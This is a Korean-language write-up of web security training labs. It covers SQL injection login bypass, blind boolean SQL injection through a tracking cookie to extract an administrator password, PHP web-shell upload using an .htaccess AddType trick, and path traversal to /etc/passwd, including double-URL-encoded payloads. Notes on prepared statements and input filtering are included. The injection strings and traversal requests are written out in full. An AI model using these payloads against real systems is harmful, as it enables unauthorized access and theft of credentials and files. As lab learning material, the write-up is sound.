
perform a SQL injection attack that logs in to the application as the administrator user.
- Boolean Based SQL Injection
- Error Based SQL Injection
- Time Based sql Injection (시간관련 함수) ...
아래와 같은 기초적인 로그인 SQL 쿼리를 사용한다고 가정해보자.
SELECT * 는 모든 것을 가져오는 것이 아닌, 로그인을 위한 로직이 존재할 것이다.
SELECT * FROM member WHERE id = '$username' AND pass = '$userpass';
만약 $username 이 administrator'-- 가 들어간다면 어떻게 될까?
SELECT * FROM member WHERE id = 'administrator'--' AND pass = '$userpass';
-- 뒤에 있는 문장은 모두 주석처리가 된다. 즉, 비밀번호 입력 여부가 상관이 없어진다.
SELECT * FROM member WHERE id = 'administrator';
이 문장과 동일해진다. 따라서, member 라는 테이블에 administrator 라는 사용자가 있기만 한다면, 로그인 로직이 참이 되어 로그인이 된다.

따로 암호화 없이 계정 정보가 전달되고 있다.
2. 로그인 ID 입력 폼에 administrator'-- 입력 시도 (패스워드 임의임력)
Burp Suite 는 아래와 같이 Request 전달하는 것을 확인 가능하다.

3. 로그인 완료
- 조건 : SQL 쿼리 결과 반환 없음. 에러 메시지 표시 없음. 'Welcom back' 이라는 메시지가 쿼리로부터 Row 반환시 출력. 분석 목적으로 tracking cookie 사용 및 해당 쿠키로 SQL query 사용한다.
users 테이블 존재. username, password.
- 계정 정보 : administrator:????
- 추가 Hint : 비밀번호는 영어 소문자, 숫자로만 구성- 실습 목표 : log in as the administrator user.

Brup Suite Repeater에서 SQL 질의 쿼리를 입력할 곳을 찾아보자

아이디 입력 폼에 administrator'-- 를 입력해도 'Welcome back!' 이 출력된다. 이는 username에는 다른 SQL 질의문을 입력해도 결과를 알 수 없다는 의미이다. 다른 곳을 찾아보자.
제시된 조건 중, tracking cookie 사용 및 해당 쿠키로 SQL query 사용한다는 조건이 있다.
그리고 1번 Reqeust에서 TrackingId라는 이름으로 쿠키를 사용한다. 즉, TrackingId의 값이 query문 매개변수 값으로 사용된다는 의미이다. 확인해 보자

TrackingId 뒤에 쿼리문을 추가로 입력하고 결과를 확인해 보면, 'Welcome back!'이 출력된다. 이는 TrackingId이 쿼리 질의문의 매개변수로 사용되고, 해당 ID 값 뒤에 SQL Injection 공격이 가능하다는 의미이다. 여기에 접근 1번을 적용하면 된다.
oBpZ00yc4uWBCRSB' AND (SELECT 'a' FROM users LIMIT 1)='a; => 'Welcome back!' 출력
users 라는 테이블에서 1개의 컬럼이 존재한다. == users 테이블이 존재한다.
oBpZ00yc4uWBCRSB' AND (SELECT 'a' FROM password LIMIT 1)='a; => 'Welcome back!' 출력 없음
password 라는 테이블에서 1개의 컬럼이 존재하지 않는다. == password 테이블이 존재하지 않는다.
따라서 users 테이블만 사용해 쿼리문을 사용한다.
주어진 조건 중에는 user에 username 이라는 컬럼 존재한자. 확인해 보자.
1BWUQY' AND (SELECT 'a' FROM users WHERE username='administrator')='a; => 'Welcome back!' 출력

LENGTH(password)>1 => password 길이가 1보다 크면 참
이제 위의 조건문을 AND로 기존 조건문에 추가해 주자. (조건문이 거짓이라면 다 거짓일테니)

그리고 위의 조건문을 반복하기 위해 Intruder 사용한다. (자세한 설명은 생략한다)
20보다 크냐고 물어봤을때, 'Welcome back!' 출력되지 않았다. 이는 패스워드의 길이가 20자리를 의미한다.
WUQY' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a => SUBSTRING(password,2,1) ...
여기에서 a의 값에 7을 대입하고 Request를 날리자.
만약 패스워드의 첫 번째 자리수가 7이라면, 비밀번호는 7XXXX_XXXXX_XXXXX_XXXXX_XXXXX 이다.
Intruder 를 사용해서 하나씩 대입해 보면, Response 에서 'Welcome back!' 출력을 일일히 확인할 필요 없이, Length 만 확인하면 어떤 값에서 'Welcome back!' 출력인지 확인 가능하다.

이걸 반복해 조합하면 패스워드가 나온다. 끝!
인자화란? 매개 변수나 인자를 사용해 어떤 값을 전달 혹은 대체하는 것을 의미한다.
변수 직접 사용 삽입 질의문과 어떤 차이가 있을까?

pstmt는 prepareStatement인터페이스의 객체이다.
prepareStatement pstmt = con.preparedStatement(sql);
? 는 preparedStatement의 placeholder이다. 추후 쿼리 실행 시 실제 값으로 대체된다.
setString() 메소드는 이스케이프처리 기능으로 특수문자로부터 비교적 안전하다.
특정 값을 전달하려는 목적에서는 동일한 기능을 가진다.
그러나 인자화를 통한 질의문을 생성하면 SQL Injection을 방지하기 위해 사용 가능하다.
- 조건 : 특정 파일 확장자 블랙리스트 사용으로 사용 불가.
- 계정 정보 : wiener:peter
- 실습 목표 : upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret.
.php 확장자 파일로 생성해 업로드한다..php 확장자 파일로 생성하고 업로드한다.

- 조건 : 특정 파일 확장자 블랙리스트 사용으로 사용 불가.
- 계정 정보 : wiener:peter
- 실습 목표 : upload a basic PHP web shell, then use it to exfiltrate the contents of the file . Submit this secret using the button provided in the lab banner. /home/carlos/secret

.htaccess 확장자를 사용한 파일 업로드한다.
AddType application/x-httpd-php .myphp
.htaccess 확장자에 있는 코드는 아래와 같다.
.myphp 확장자를 php 스크립트와 관련시킨다. 즉, 웹 서버에서 .myphp 확장자를 가진 파일의 내용이 php 스크립트로 작동된다.
(application/x-httpd-php : PHP 스크립트를 나타내는 MIME 유형)
3. .htaccess 파일을 업로드 한다.

.notphp 확장자를 가진 파일을 아래와 같이 생성한다.

Request에 Get 요청을 보낸다.
/home/carlos/secret 내용을 획득했다..htaccess 확장자를 가진 파일 필터링한다.document 외부에 설정한다.
- 조건 :
- 계정 정보 :
- 실습 목표 : retrieve the contents of the /etc/passwd file.


Request 요청을 확인하면, 게시물 요청 시, 특정 productId을 요청한다.
GET /product?productId=4 HTTP/1.1
해당 요청을 아래와 같이 파일 탐색으로 바꾸어 전송해보자.
GET /image?filename=../../etc/passwd HTTP/1.1
나오지 않는다. 탐색의 깊이가 깊지 않아서 그렇다. 더 많은 깊이로 가보자
GET /image?filename=../../../../../../etc/passwd HTTP/1.1
/etc/passwd 결과가 출력되었다.

- 조건 : This lab contains a path traversal vulnerability in the display of product images.
The application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it.
To solve the lab, retrieve the contents of the /etc/passwd file.- 실습 목표 : retrieve the contents of the /etc/passwd file.
주어진 조건에서는 웹 서버에서 경로 조작을 방지하기 위해, 경로 조작 시퀸스를 막고, 요청 사용 전, 불필요한 URL 디코딩을 수행한다고 한다.
이로 인해 알 수 있는 것은 아래와 같다.
../../../etc/passwd 와 같은 직접적인 경로 조작 시퀸스를 사용 시, 막힌다.
웹 서버에는 URL 디코딩 후 Request를 사용하기 때문에, URL 인코딩 된 경로 조작 시퀸스를 사용한다.
단, 웹 서버에서 사용하는 디코딩 횟수는 알 수 없다.
인코딩
../../../etc/passwd 을 URL 안코딩 시,
%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
디코딩
%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 을 URL 디코딩 시,
../../../etc/passwd
Request 패킷에서는 일부 특수문자들이 URL인코딩 되어 있다.
왜 그럴까? HTTP 웹 서버이므로 RESTfull 설계로 인해 URL 을 인/디코딩 하여 사용한다. (참고)

GET //image?filename=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 HTTP/2
Response 확인 시, 아래 그림과 같이 1회 인코딩 시, 웹 서버에서 N회 디코딩 후 사용하려고 했으나 경로로 사용 불가 메시지가 나온다면,
웹 서버측에서는 1회 디코딩 후 Resquest 요청을 사용하지 않는다. 인코딩 횟수를 2회로 늘려 보자.


한번 더 인코딩 해 사용해 보자.
위 그림과 아래 그림의 차이는?

Response 결과가 상이하다.
위 그림 : Not Found => 웹 서버에서 해당 리소스 없어. (잘못된 GET 문장 사용 // 사용함)
아래 그림 : No such file => 파일 시스템에서 특정 파일을 찾을 수 없을때 주로 나타난다.

웹 서버 특정 위치의 /etc/passwd 파일이 나왔다.
웹 서버는 Reqest 패킷을 2회 디코딩해서 경로를 사용한다.

경로 조작 취약점을 보호하기 위해
1. 경로 탐색 방지 목적으로 직접적인 경로 필터링
2. 2회 이상 URL 디코딩 후 사용
방법을 사용했다.
그러나, 이 방법은 2회 이상 URL 인코딩 경로 조작 시퀸스 문 사용으로 파회된다.
../와 ..\와 .\와 % 등
특수 문자 보안 필터링을 적용한다.
